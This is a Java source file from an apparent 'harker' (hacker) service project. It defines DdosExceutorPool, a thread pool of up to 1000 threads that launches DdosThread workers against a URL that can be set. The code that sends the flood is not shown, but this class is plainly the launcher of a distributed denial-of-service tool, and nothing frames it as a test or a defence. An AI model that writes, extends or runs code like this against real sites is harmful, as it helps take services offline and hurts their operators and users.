package com.example.harkerservice.service.thread;

import java.util.concurrent.ArrayBlockingQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;

/**
 * Description：
 *
 * @Author: cw
 * CreateTime：2022-10-14
 */
public class DdosExceutorPool {

    private ThreadPoolExecutor threadPoolExecutor = new ThreadPoolExecutor(0,1000,0, TimeUnit.SECONDS,new ArrayBlockingQueue<>(1100));

    private String url;

    public void executor(){
        DdosThread ddosThread = new DdosThread();
        ddosThread.setUrl(url);
        threadPoolExecutor.execute(ddosThread);
    }

    public void setUrl(String url) {
        this.url = url;
    }
}
